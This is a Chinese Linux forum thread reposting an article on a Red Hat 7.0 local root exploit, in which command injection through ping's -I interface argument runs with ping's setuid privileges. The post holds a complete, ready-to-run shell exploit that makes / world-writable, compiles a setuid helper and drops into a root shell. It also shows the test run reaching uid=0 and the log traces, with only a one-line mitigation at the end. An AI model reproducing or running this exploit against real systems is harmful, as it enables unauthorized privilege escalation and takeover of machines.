设为首页
收藏本站
用户名
Email
自动登录
找回密码
密码
登录
注册
快捷导航
平台
Portal
论坛
BBS
文库
项目
群组
Group
我的博客
Space
搜索
搜索
热搜:
shell
linux
mysql
本版
用户
LinuxSir.cn,穿越时空的Linuxsir!
»
论坛
›
运维技术 —— LinuxSir.cn
›
网络技术\网络安全讨论
›
redhat7本地利用ping拿root漏洞详析
返回列表
查看:
964
|
回复:
1
redhat7本地利用ping拿root漏洞详析
[复制链接]
cx6445
cx6445
当前离线
积分
414
IP卡
狗仔卡
发表于 2003-7-7 23:28:19
|
显示全部楼层
|
阅读模式
本文出自:
http://e4gle.org
作者: 大鹰 (2001-07-04 22:08:00)
首先声明,本人及本人所在公司盖不对利用此漏洞所造成的损失负责。攻击代码不长,可以用shell或
perl来编写,推荐用shell写。
原理:
也许是redhat7的重大漏洞吧,他的ping程序的-I参数指定interface时通过modprobe和insmod执行任意代
码,大家都知道ping程序的权位是这样的:
[Hello!sune4gle]$ ls -l /bin/ping
-rwsr-xr-x 1 root root 20604 Aug 8 2000 /bin/ping
ping程序调用了raw_socket的所有setuid位,呵呵,我们可以通过用ping的-I参数来ping一个不存在的ip
,当然ip前面的参数是关键,也就是我们的执行命令,s权位令我们以普通权限的uid来运行ping时的euid
为0,所以实际上我们在运行ping的一瞬间是以超级拥护的权限在执行命令的。这样如果我们运行如下的
命令的话:
[Hello!sune4gle]$ping -I ';chmod o+w .' 195.117.3.59 &>/dev/null
就是把当前目录对其他用户可写了,呵呵,当然我们可以利用sleep语句来使该进程等待,利用等待的时
间我们可以写一个c程序,让他编译并且运行:
cat >/x.c <<_eof_
main() {
setuid(0); seteuid(0);
system("chmod 755 /;rm -f /x; rm -f /x.c");
execl("/bin/bash","bash","-i",0);
}
_eof_
gcc /x.c -o /x
chmod 755 /x
到这里大家应该都明白了吧?呵呵在/下创建x.c文件,并且编译,使它也拥有s权位,呵呵就使一个
setuid的rootshell啦,以下是写好的攻击代码:
#!/bin/sh
echo
echo "RedHat 7.0 exploit"
echo "(c) 2000 suneagle "
echo
echo "Enjoy hacking!
"
echo
PING=/bin/ping
test -u $PING || PING=/bin/ping
if [ ! -u $PING ]; then
echo "Sorry, no setuid ping."
exit 0
fi
echo "
hase 1: making / world-writable..."
$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null
sleep 1
echo "
hase 2: compiling helper program in /..."
cat >/x.c <<_eof_
main() {
setuid(0); seteuid(0);
system("chmod 755 /;rm -f /x; rm -f /x.c");
execl("/bin/bash","bash","-i",0);
}
_eof_
gcc /x.c -o /x
chmod 755 /x
echo "
hase 3: chown+chmod on our helper program..."
$PING -I ';chown 0 x' 202.102.3.1 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 202.101.23.1 &>/dev/null
sleep 1
if [ ! -u /x ]; then
echo "Apparently, this is not exploitable on this system
"
exit 1
fi
echo "Ye! Entering rootshell..."
/x
echo "Thank you."
哈哈,好,我把这个shell程序在redhat7下的运行测试结果贴出来:
首先我得有个普通帐户,嘿嘿
[Hello!sune4gle]$ ./getroot.sh
RedHat 7.0 exploit
(c) 2000 suneagle
Enjoy hacking!
Phase 1: making / world-writable...
Phase 2: compiling helper program in /...
Phase 3: chown+chmod on our helper program...
Ye! Entering rootshell...
[Hello!root]# id
uid=0(root) gid=500(sune4gle) groups=500(sune4gle)
[Hello!root]#
攻击后的log:
Feb 24 11:16:27 sune4gle modprobe: modprobe: insmod ;chmod o+w . failed
Feb 24 11:16:30 sune4gle modprobe: modprobe: insmod ;chown 0 x failed
Feb 24 11:16:31 sune4gle modprobe: modprobe: insmod ;chmod +s x failed
解决方法:
去掉或限制ping程序的setuid位
[Hello!sune4gle]# chmod 655 /bin/ping
回复
使用道具
举报
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
显身卡
dreamping
dreamping
当前离线
积分
118
IP卡
狗仔卡
发表于 2005-4-16 11:01:25
|
显示全部楼层
我得rh9就不行咯。/bin/ping 得权限还是和rh7是一样得!
回复
支持
反对
使用道具
举报
显身卡
返回列表
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
注册
本版积分规则
发表回复
回帖后跳转到最后一页
Copyright © 2002-2023
LinuxSir.cn
(http://www.linuxsir.cn/) 版权所有 All Rights Reserved.
Powered by
RedflagLinux!
技术支持:
中科红旗
|
京ICP备19024520号
快速回复
返回顶部
返回列表